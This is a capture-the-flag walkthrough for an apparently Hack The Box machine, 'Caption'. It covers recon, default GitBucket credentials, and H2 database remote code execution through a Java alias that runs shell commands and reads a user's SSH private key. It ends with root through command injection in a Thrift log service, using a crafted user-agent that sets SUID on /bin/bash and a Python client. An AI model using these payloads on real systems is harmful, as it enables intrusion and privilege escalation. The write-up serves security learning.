RECON

Nmap

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http       Werkzeug/3.0.1 Python/3.10.12
|_http-server-header: Werkzeug/3.0.1 Python/3.10.12
|_http-title: Caption Portal Login
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, X11Probe: 
|     HTTP/1.1 400 Bad request
|     Content-length: 90
|     Cache-Control: no-cache
|     Connection: close
|     Content-Type: text/html
|     <html><body><h1>400 Bad request</h1>
|     Your browser sent an invalid request.
|     </body></html>
|   FourOhFourRequest, GetRequest, HTTPOptions: 
|     HTTP/1.1 301 Moved Permanently
|     content-length: 0
|     location: http://caption.htb
|_    connection: close
8080/tcp open  http-proxy
|_http-title: GitBucket
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Date: Sun, 15 Sep 2024 00:55:45 GMT
|     Set-Cookie: JSESSIONID=node01kgf9jmeign7c1pmwvr0iamtvp3.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 5920
|     <!DOCTYPE html>
|     <html prefix="og: http://ogp.me/ns#" lang="en">
|     <head>
|     <meta charset="UTF-8" />
|     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <title>Error</title>
|     <meta property="og:title" content="Error" />
|     <meta property="og:type" content="object" />
|     <meta property="og:url" content="http://10.129.xxx.xxx:8080/nice%20ports%2C/Tri%6Eity.txt%2ebak" />
|     <meta property="og:image" content="http://10.129.xxx.xxx:8080/assets/common/images/gitbucket_ogp.png" />
|     <link rel="icon" href="/assets/common/imag
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Sun, 15 Sep 2024 00:55:42 GMT
|     Set-Cookie: JSESSIONID=node0v7pe04dwccs91rpmkt5d5ejk01.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 7195
|     <!DOCTYPE html>
|     <html prefix="og: http://ogp.me/ns#" lang="en">
|     <head>
|     <meta charset="UTF-8" />
|     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <title>GitBucket</title>
|     <meta property="og:title" content="GitBucket" />
|     <meta property="og:type" content="object" />
|     <meta property="og:url" content="http://10.129.19.184:8080/" />
|     <meta property="og:image" content="http://10.129.xxx.xxx:8080/assets/common/images/gitbucket_ogp.png" />
|     <link rel="icon" href="/assets/common/images/gitbucket.png?20240915003901" ty
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Sun, 15 Sep 2024 00:55:43 GMT
|     Set-Cookie: JSESSIONID=node01n80a4xp85i0j9qahpuksfnxv2.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RTSPRequest: 
|     HTTP/1.1 505 HTTP Version Not Supported
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|_    <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>

### Port 80

At http://caption.htb we have a login page:

Can be logged in using credentials of user margo found below.

Port 8080 | Gitbucket

At http://caption.htb:8080/ there's Gitbucket:

GitBucket is an open-source Git platform, similar to GitHub, designed to host Git repositories, manage projects, track issues, and collaborate on code development.

Attack factors:

  • Git repository hosting: we can create and manage repositories through the web interface, similar to platforms like GitHub.
  • User management: GitBucket allows for user authentication, which can be vulnerable to attacks like brute force or weak password policies.
  • Web-based interface: The web interface offers features like pull requests, issues, and project management, making it a prime target for web-based attacks (SQL injection, XSS, etc.).
  • Plugins support: GitBucket supports various plugins, which could introduce vulnerabilities if not configured properly.
  • Java-based: GitBucket is built using Java, and past vulnerabilities have included issues with deserialization attacks and remote code execution (RCE).

To hack such Java stuff, always look into potential URIs that might expose sensitive files or APIs:

ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt -u 'http://caption.htb:8080/FUZZ'

Under the /root path, we can leak a user root as role Administrator:

Test with weak credentials, the most simple one root:root just works. And we see two repostories Logservice & Caption-Portal:

With the README we can know that:

Logservice is to Parse logs. It uses Apache Thrift technology to build RPC clients and servers that communicate seamlessly across programming languages.

  • Apache Thrift: is an open-source framework developed by Facebook that enables scalable cross-language services development. It supports remote procedure call (RPC) by allowing different programs, possibly written in different languages, to communicate over a network in an efficient and straightforward manner.
  • RBAC (Role-Based Access Control): The README mentions implementing RBAC, which means they aim to restrict access to certain functions or data based on the user's role, which can help secure the application.

It has a Todo list considered potential attack surfaces:

  • Support file uploads
  • Expose remote services support more clients across network
  • Support serialization
  • Implement network security & RBAC

Caption Portal manages all devices in single place. Appears to be a web-based platform that provides centralized management for devices (on Port 80).

Features:

  • Rule Management
  • Configuration Monitoring
  • Log Analysis
  • Alarm Management
  • Compliance Management
  • Analytics

Repo | Caption Portal

This is the repository for the web app served on Port 80. Review the commit history, we can discover that the owner has made quite some changes:

repo owner used to define user credentials in the haproxy.cfg, aka a config file:

This can be used to sign in http://caption.htb. Appears to be a Network-management applicaton:

Repo | Logservice

I moved this part to root chapter for better review, because we won't use this in the user part.

Port 8080 | H2 Database

From the admin panel, we know it's running Gitbucket version 4.40.0, with H2 database embedded:

H2 is an open-source, lightweight, and embedded relational database management system (RDBMS) written in Java. It is commonly used in Java applications during development or testing phases due to its simplicity and ability to run entirely in memory or as an embedded file-based database.

And we can execute SQL command via the "Database Viewer", extracting its H2 version number 1.4.199:

H2 SQL commands can be referred to the official documentation. We can use CALL to calculates a simple expression:

H2 DB | Margo

H2 RCE | Run Java Func

Although we gained a password of user margo, it's not for SSH login. And the web app on http://caption.htb seems to be useless for a reverse shell. So we will focus on how to exploit the H2 database terminal to perform code execution.

The H2 database does not natively support executing system commands directly through SQL queries in its console, as it is a relational database, not a shell. But we can search vulnerabilities for H2 1.4.199 in version on the Internet, an RCE primitive from Exploit DB comes into sight.

The article tells us that, H2 allows users to gain code execution by compiling and running Java code. It requires the Java Compiler to be available on the machine running H2, which is satisfied for we are dealing with a Java developed server Gitbucket. Raw POC:

-- Write native library
SELECT CSVWRITE('C:\Windows\Temp\JNIScriptEngine.dll', CONCAT('SELECT NULL "', CHAR(0x4d),CHAR(0x5a),CHAR(0x90),CHAR(0x00),CHAR(0x03),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x04),CHAR(0x00),CHAR(0x00), ... , 'ISO-8859-1', '', '', '', '', '');

-- Load native library
CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load";
CALL System_load('C:\Windows\Temp\JNIScriptEngine.dll');

-- Evaluate script
CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()).useDelimiter("\\Z").next()');

Certainly we are not dealing with a Windows system, but this tells us the idea of executing arbitrary commands remotely. Its ultimate goal is to call the java.lang.Runtime.getRuntime().exec() method in Java, which allows a Java application to execute system-level commands directly on the underlying operating system. The above POC assumes the target does not have Java compiler, while ours have it on the server side making this much easier.

  • java.lang.Runtime: This class is part of the Java Standard Library and provides an interface to interact with the Java runtime environment.
  • getRuntime(): This is a static method that returns the current Runtime instance associated with the application. Since a Java application only has one instance of Runtime, this method is used to get that single instance.
  • exec(): The exec() method is used to execute external commands or programs from within the Java application. It takes a command as a string or an array of strings, runs that command, and returns a Process object that represents the running process.

Before trying to create our POC, we can refer to another article for illustrating how to use CREATE ALIAS command to define a Java function corresponding to the alias and subsequently call it in an SQL query like we would a function.

CREATE ALIAS AXURA_GET_SYS_PPT FOR "java.lang.System.getProperty";

Then call the self-defined function AXURA_GET_SYS_PPT:

CALL AXURA_GET_SYS_PPT('user.home');

We have a valid response for who is running the server:

Simple payloads as string for the commands like java.version, java.class.path, os.name work in the same way.

Now we can try to define a function to run java.lang.Runtime.getRuntime().exec, rather than just running Java class functions above:

CREATE ALIAS AXURA_SYSCALL AS '
String execCommand(String cmd) throws java.io.IOException {
    java.lang.Process process = java.lang.Runtime.getRuntime().exec(cmd);
    java.util.Scanner scanner = new java.util.Scanner(process.getInputStream()).useDelimiter("\\\\Z");
    return scanner.hasNext() ? scanner.next() : "";
}';
  • Process process = java.lang.Runtime.getRuntime().exec(cmd);: This executes the given command (cmd) and returns a Process object.
  • Scanner scanner = new java.util.Scanner(process.getInputStream()).useDelimiter("\\\\Z");: This creates a Scanner to read the output from the InputStream of the process.
  • "\\\\Z": The special End-of-File delimiter.
  • return scanner.hasNext() ? scanner.next() : "";: This checks if the scanner has any output and returns it; otherwise, it returns an empty string.

Then we can call the AXURA_SYSCALL Java function we just created:

CALL AXURA_SYSCALL('whoami');

It works. Then we can try to read the id_rsa from the user margo to gain a reverse shell. First we will need to run ls -la /home/margo/.ssh to know the name of the private key, then read it with a second command:

CALL AXURA_SYSCALL('cat /home/margo/.ssh/id_ecdsa');

We did it. And make the key the correct pattern, we can use the ssh_key_formatter.py on my Github:

Change permissions to 600, and we compromise user margo to take the user flag:

THRIFT | Root

Internal Enumeration

Look deeper into the home folder of margo, we see some familiar names in the Logservice repo in the previous RECON part, which indicates that it runs on localhost port 9090:

I think there will be more than one way to root this machine. So run Linpeas for full-scale enumeration:

  • The highlighted path /home/margo/.local/bin is included in the PATH environment variable, and this inclusion can be a potential security concern, aka writable path abuses.
  • Except Gitbucket, margo is running copyparty-sfx.py script on localhost (127.0.0.1) with potentially vulnerable configurations (-v logs::r) could be explored for misconfigurations or vulnerabilities like unauthorized access or data leakage.
  • At the same time, user root is running a Go server directly from the source with go run in the /root directory, which is the server.go we found in Gitbucket Logservice repo and will be introduced followingly.
  • haproxy is a high-availability load balancer and proxy server for TCP and HTTP-based applications, and varnishncsa, which is related to Varnish Cache, a web application accelerator also known for its reverse proxy capabilities. Both of these services aims for the LogService project to enhance its performance and reliability.
  • Each @reboot entry schedules a script or application to run every time the system boots up.
  • The scripts in /etc/cron.daily, /etc/cron.weekly, etc., are run by root and are common targets for privilege escalation if writable by non-root users (i.e. symlink race attack).
  • The presence of a symbolic link in /etc/cron.daily pointing to a script under /opt/google/chrome might be of concern if the permissions on /opt/google/chrome/cron/ are not secure.
  • Anacron is used to handle periodic commands that are supposed to run at regular intervals. It ensures that scheduled tasks missed during downtime are run upon system startup.
  • Entries like run-parts --report /etc/cron.daily suggest regular system maintenance tasks, and meddling with these could disrupt system operations or be used to inject malicious tasks.

APACHE THRIFT | Logservice

For better analysis, I moved the finding from RECON here.

Apache Thrift is a software framework for scalable cross-language services development. It allows us to define data types and service interfaces in a simple definition file (.thrift). This definition file is then used to generate code for any of the supported languages (like C++, Java, Python, etc.), enabling efficient communication between services in different languages.

  1. gen-go/log_service:
    • This directory contains the Go-generated source code from the Thrift definition files (*.thrift). Apache Thrift can automatically generate the necessary client and server code to implement the RPC (Remote Procedure Call) functionality defined in the Thrift files.
    • The gen-go implies that this is specifically the Go-generated code.
  2. log_service.thrift:
    • This is the Thrift definition file. It defines the structures, services, and methods that are part of the LogService.
  3. server.go:
    • This Go file contains the server-side implementation for the services defined in the Thrift files. This server would handle incoming RPC requests, process them as defined in the Thrift specifications, and respond accordingly.

APACHE THRIFT | Thrift file

The log_service.thrift is simple:

namespace go log_service
 
service LogService {
    string ReadLogFile(1: string filePath)
}

It allows users to read files by providing a file path, with the service returning the contents of the file as a string, without any sanitization, resulting a potential attack vector

APACHE THRIFT | Server

The server.go is the go source code of the logging service run by user root. The provided implements the LogServiceHandler in Go for the LogService, using Apache Thrift to handle remote procedure calls (There was a servcice folder including some haproxy, varnish files on the repo, but then it disappears after some patch?).

Besides, if we review the commit history, we will discover that the repo owner submit the server.go twice for fixing comments, which may have some leaked information. Therefore, I grab the one with the comments below:

package main
 
import (
    "context"
    "fmt"
    "log"
    "os"
    "bufio"
    "regexp"
    "time"
    "github.com/apache/thrift/lib/go/thrift"
    "os/exec"
    "log_service"
)
 
// LogServiceHandler implements the LogService interface generated by Thrift
type LogServiceHandler struct{}
 

// ReadLogFile reads the contents of a log file and returns it as a string
func (l *LogServiceHandler) ReadLogFile(ctx context.Context, filePath string) (r string, err error) {
    file, err := os.Open(filePath)
    if err != nil {
        return "", fmt.Errorf("error opening log file: %v", err)
    }
    defer file.Close()
    ipRegex := regexp.MustCompile(`\b(?:\d{1,3}\.){3}\d{1,3}\b`)
    userAgentRegex := regexp.MustCompile(`"user-agent":"([^"]+)"`)
    outputFile, err := os.Create("output.log")
    if err != nil {
        fmt.Println("Error creating output file:", err)
        return
    }
    defer outputFile.Close()
    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        line := scanner.Text()
        ip := ipRegex.FindString(line)
        userAgentMatch := userAgentRegex.FindStringSubmatch(line)
        var userAgent string
        if len(userAgentMatch) > 1 {
            userAgent = userAgentMatch[1]
        }
        timestamp := time.Now().Format(time.RFC3339)
        logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
        exec.Command{"/bin/sh", "-c", logs}
    }
    return "Log file processed",nil
}
 
func main() {
    handler := &LogServiceHandler{}
    processor := log_service.NewLogServiceProcessor(handler)
    transport, err := thrift.NewTServerSocket(":9090")
    if err != nil {
        log.Fatalf("Error creating transport: %v", err)
    }
 
    server := thrift.NewTSimpleServer4(processor, transport, thrift.NewTTransportFactory(), thrift.NewTBinaryProtocolFactoryDefault())
    log.Println("Starting the server...")
    if err := server.Serve(); err != nil {
        log.Fatalf("Error occurred while serving: %v", err)
    }
}

Apache Thrift Integration:

  • Thrift Server: The server uses Apache Thrift to expose the LogServiceHandler, which listens on port 9090 and handles remote method invocations.
  • Processor: log_service.NewLogServiceProcessor(handler) binds the handler (LogServiceHandler) to the processor, allowing the server to handle incoming RPC calls.

Method: ReadLogFile:

  • This method reads the log file specified by filePath and extracts two key pieces of information:
    • IP Addresses using a regular expression.
    • User-Agent strings from a specific JSON pattern in the log.

Processing Logic:

  • The log file is scanned line by line, and for each line, the following information is extracted:
    • IP Address: The regex \b(?:\d{1,3}\.){3}\d{1,3}\b matches IPv4 addresses.
    • User-Agent: Extracted from a JSON-like format, looking for the "user-agent" field.
    • Timestamp: The current time is appended to each log entry.
  • Each processed log entry is appended to output.log.

Shell Execution:

  • A shell command is constructed and executed using exec.Command to write log details (IP Address, User-Agent, and Timestamp) into output.log.
  • The command uses the format: echo 'IP Address: <IP>, User-Agent: <User-Agent>, Timestamp: <Timestamp>' >> output.log
  • The use of exec.Command{"/bin/sh", "-c", logs} directly executes shell commands, which has a command injection vulnerability here because nothing is sanitized.

APACHE THRIFT | Log_service-remote

The Logservice/gen-go/log_service/log_service-remote/log_service-remote.go file is a Go client for interacting with the LogService defined in the log_service.thrift file. This client allows users to send requests to the Thrift service and retrieving results:

// Code generated by Thrift Compiler (0.19.0). DO NOT EDIT.
 
package main
 
import (
	"context"
	"flag"
	"fmt"
	"math"
	"net"
	"net/url"
	"os"
	"strconv"
	"strings"
	thrift "github.com/apache/thrift/lib/go/thrift"
	"log_service"
)
 
var _ = log_service.GoUnusedProtection__
 
func Usage() {
  fmt.Fprintln(os.Stderr, "Usage of ", os.Args[0], " [-h host:port] [-u url] [-f[ramed]] function [arg1 [arg2...]]:")
  flag.PrintDefaults()
  fmt.Fprintln(os.Stderr, "\nFunctions:")
  fmt.Fprintln(os.Stderr, "  string ReadLogFile(string filePath)")
  fmt.Fprintln(os.Stderr)
  os.Exit(0)
}
 
type httpHeaders map[string]string
 
func (h httpHeaders) String() string {
  var m map[string]string = h
  return fmt.Sprintf("%s", m)
}
 
func (h httpHeaders) Set(value string) error {
  parts := strings.Split(value, ": ")
  if len(parts) != 2 {
    return fmt.Errorf("header should be of format 'Key: Value'")
  }
  h[parts[0]] = parts[1]
  return nil
}
 
func main() {
  flag.Usage = Usage
  var host string
  var port int
  var protocol string
  var urlString string
  var framed bool
  var useHttp bool
  headers := make(httpHeaders)
  var parsedUrl *url.URL
  var trans thrift.TTransport
  _ = strconv.Atoi
  _ = math.Abs
  flag.Usage = Usage
  flag.StringVar(&host, "h", "localhost", "Specify host and port")
  flag.IntVar(&port, "p", 9090, "Specify port")
  flag.StringVar(&protocol, "P", "binary", "Specify the protocol (binary, compact, simplejson, json)")
  flag.StringVar(&urlString, "u", "", "Specify the url")
  flag.BoolVar(&framed, "framed", false, "Use framed transport")
  flag.BoolVar(&useHttp, "http", false, "Use http")
  flag.Var(headers, "H", "Headers to set on the http(s) request (e.g. -H \"Key: Value\")")
  flag.Parse()
  
  if len(urlString) > 0 {
    var err error
    parsedUrl, err = url.Parse(urlString)
    if err != nil {
      fmt.Fprintln(os.Stderr, "Error parsing URL: ", err)
      flag.Usage()
    }
    host = parsedUrl.Host
    useHttp = len(parsedUrl.Scheme) <= 0 || parsedUrl.Scheme == "http" || parsedUrl.Scheme == "https"
  } else if useHttp {
    _, err := url.Parse(fmt.Sprint("http://", host, ":", port))
    if err != nil {
      fmt.Fprintln(os.Stderr, "Error parsing URL: ", err)
      flag.Usage()
    }
  }
  
  cmd := flag.Arg(0)
  var err error
  var cfg *thrift.TConfiguration = nil
  if useHttp {
    trans, err = thrift.NewTHttpClient(parsedUrl.String())
    if len(headers) > 0 {
      httptrans := trans.(*thrift.THttpClient)
      for key, value := range headers {
        httptrans.SetHeader(key, value)
      }
    }
  } else {
    portStr := fmt.Sprint(port)
    if strings.Contains(host, ":") {
           host, portStr, err = net.SplitHostPort(host)
           if err != nil {
                   fmt.Fprintln(os.Stderr, "error with host:", err)
                   os.Exit(1)
           }
    }
    trans = thrift.NewTSocketConf(net.JoinHostPort(host, portStr), cfg)
    if err != nil {
      fmt.Fprintln(os.Stderr, "error resolving address:", err)
      os.Exit(1)
    }
    if framed {
      trans = thrift.NewTFramedTransportConf(trans, cfg)
    }
  }
  if err != nil {
    fmt.Fprintln(os.Stderr, "Error creating transport", err)
    os.Exit(1)
  }
  defer trans.Close()
  var protocolFactory thrift.TProtocolFactory
  switch protocol {
  case "compact":
    protocolFactory = thrift.NewTCompactProtocolFactoryConf(cfg)
    break
  case "simplejson":
    protocolFactory = thrift.NewTSimpleJSONProtocolFactoryConf(cfg)
    break
  case "json":
    protocolFactory = thrift.NewTJSONProtocolFactory()
    break
  case "binary", "":
    protocolFactory = thrift.NewTBinaryProtocolFactoryConf(cfg)
    break
  default:
    fmt.Fprintln(os.Stderr, "Invalid protocol specified: ", protocol)
    Usage()
    os.Exit(1)
  }
  iprot := protocolFactory.GetProtocol(trans)
  oprot := protocolFactory.GetProtocol(trans)
  client := log_service.NewLogServiceClient(thrift.NewTStandardClient(iprot, oprot))
  if err := trans.Open(); err != nil {
    fmt.Fprintln(os.Stderr, "Error opening socket to ", host, ":", port, " ", err)
    os.Exit(1)
  }
  
  switch cmd {
  case "ReadLogFile":
    if flag.NArg() - 1 != 1 {
      fmt.Fprintln(os.Stderr, "ReadLogFile requires 1 args")
      flag.Usage()
    }
    argvalue0 := flag.Arg(1)
    value0 := argvalue0
    fmt.Print(client.ReadLogFile(context.Background(), value0))
    fmt.Print("\n")
    break
  case "":
    Usage()
    break
  default:
    fmt.Fprintln(os.Stderr, "Invalid function ", cmd)
  }
}
  • The default is a socket connection to localhost on port 9090.
  • The client uses the TBinaryProtocol by default.
  • The script expects a command to be passed in (such as ReadLogFile), followed by any required arguments (such as the file path).
  • The ReadLogFile method takes one argument (a file path) and retrieves the content of the file from the remote service (run by root).

Exploit Methodology

Now, having a clear understanding for how the Logservice works, both on the server side & client side, we can start to make a plan to exploit the service run by user root.

We can try to leverage the ReadLogFile function defined in the log_service.thrift file, run a code similar as log_service-remote.go to remotely interact with 127.0.0.1:9090, which runs the service owned by root, to leak sensitive information or execute arbitrary commands.

Before the attack, let's sort out the Workflow of a Thrift Service:

  1. Define Services:
    • We define our services, data types, and RPC methods in a .thrift file.
  2. Generate Code:
    • Use the Thrift compiler to generate client and server code in our desired programming languages based on the .thrift file definitions.
    • Here it's Go lang in our case.
  3. Implement Server Logic:
    • Write the server-side logic in server.go (for Go-based services) that uses the generated code to handle RPCs as per the Thrift definitions.
    • This part is defined as rock and run by root on the target.
  4. Run Server and Client:
    • Run the server code which listens for client requests. Clients, generated in any supported language, can then communicate with this server using the defined RPC methods.
    • We leverage the client to exploit the target.
  5. Interaction:
    • Clients use the generated client code to make RPC calls to the server, which processes them and returns responses. The transport can be over TCP, HTTP, or other supported protocols, and the data is serialized/deserialized using Thrift's binary format for efficiency.

For how to run Apache Thrift via Python (both on server or client side), we can refer to the official documentation in this link.

Exploit!

Get thrift files: First we clone the project to our attack machine:

git clone http://10.129.▒▒.▒▒:8080/git/root/Logservice.git

Port Forward: forward 9090 running the Logservice to our attack machine, for we are going to interact with it:

ssh -i id_rsa -L 9090:127.0.0.1:9090 [email protected]

Have the log_service.thrift file ready under a whatever folder:

This service is implemented as part of the LogService, and the ReadLogFile method allows the server side to read arbitrary log files.

Install Thrift: Set up environment and install thrift library:

And the thrift-compiler:

Generate Program: Run the complier:

thrift --gen py log_service.thrift
  • thrift: This is the Thrift compiler to compile .thrift files into source code in various languages.
  • --gen py: This option tells the Thrift compiler to generate Python source code. Can specify other languages for the same goal (for example specifying the Go lang, that we can basically copy-paste but modify a bit the log_service-remote.go script for later use).
  • log_service.thrift: This is the input file, which contains the Thrift service definition. It describes the data types and service interfaces that the Thrift framework uses to generate code.
  1. constants.py: Contains any global constants defined in the Thrift file.
  2. ttypes.py: Stands for "Thrift Types." Includes definitions for all the data types declared in the Thrift file.
  3. LogService.py: Contains the client and server stubs for the LogService. This includes:
    • A client class that can be used to make remote procedure calls to the server.
    • A server class that we can extend to implement the service.
  4. LogService-remote: This executable script is generated to provide a command-line interface to interact with the LogService. We can use it to manually invoke service methods (like ReadLogFile) from the command line for testing purposes.
  5. __init__.py: A standard Python file that marks the directory it's in as a Python package directory.

The generated Python files allow us to interact with the LogService programmatically. But we are hackers naughty boys who aren't gonna use the original ones.

Log File: Before running a client, have a malicious log file nxpl.log ready, which should contain JSON format required by the server.go, and inject malicious payload inside the user-agent key:

{"user-agent":"'; chmod +s /bin/bash ; #", "ip":"1.2.3.4"}

And place it under an accessible path on the target machine:

The server.go then will read this log content and run bash -c ... introduced in the source code, by user root.

Execute Thrift Client: Create a Thrift client xpl.py to call the ReadLogFile method and read the malicious log file (refer to how the log_service-remote.go code works):

from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService

def main():
	# Establishes a socket connection to the Thrift server
    transport = TSocket.TSocket('127.0.0.1', 9090)			# target service
    transport = TTransport.TBufferedTransport(transport)	# Buffering
    protocol = TBinaryProtocol.TBinaryProtocol(transport)	# serialization
    client = LogService.Client(protocol)
    
    # Establishes the connection to the server
    transport.open()
    
    try:
        response = client.ReadLogFile("/tmp/xpl.log")	# run ReadLogFile 
    except Exception as e:
        print(f"Error: {e}")
    finally:
        transport.close()	

if __name__ == "__main__":
    main()

And place it under the path same as the log_service folder to import the LogService.py inside it, when we run the client script:

Root: after running the xpl.py, the SUID of /bin/bash has been successfully changed. Run bash -p and we are root:


Are you watching me?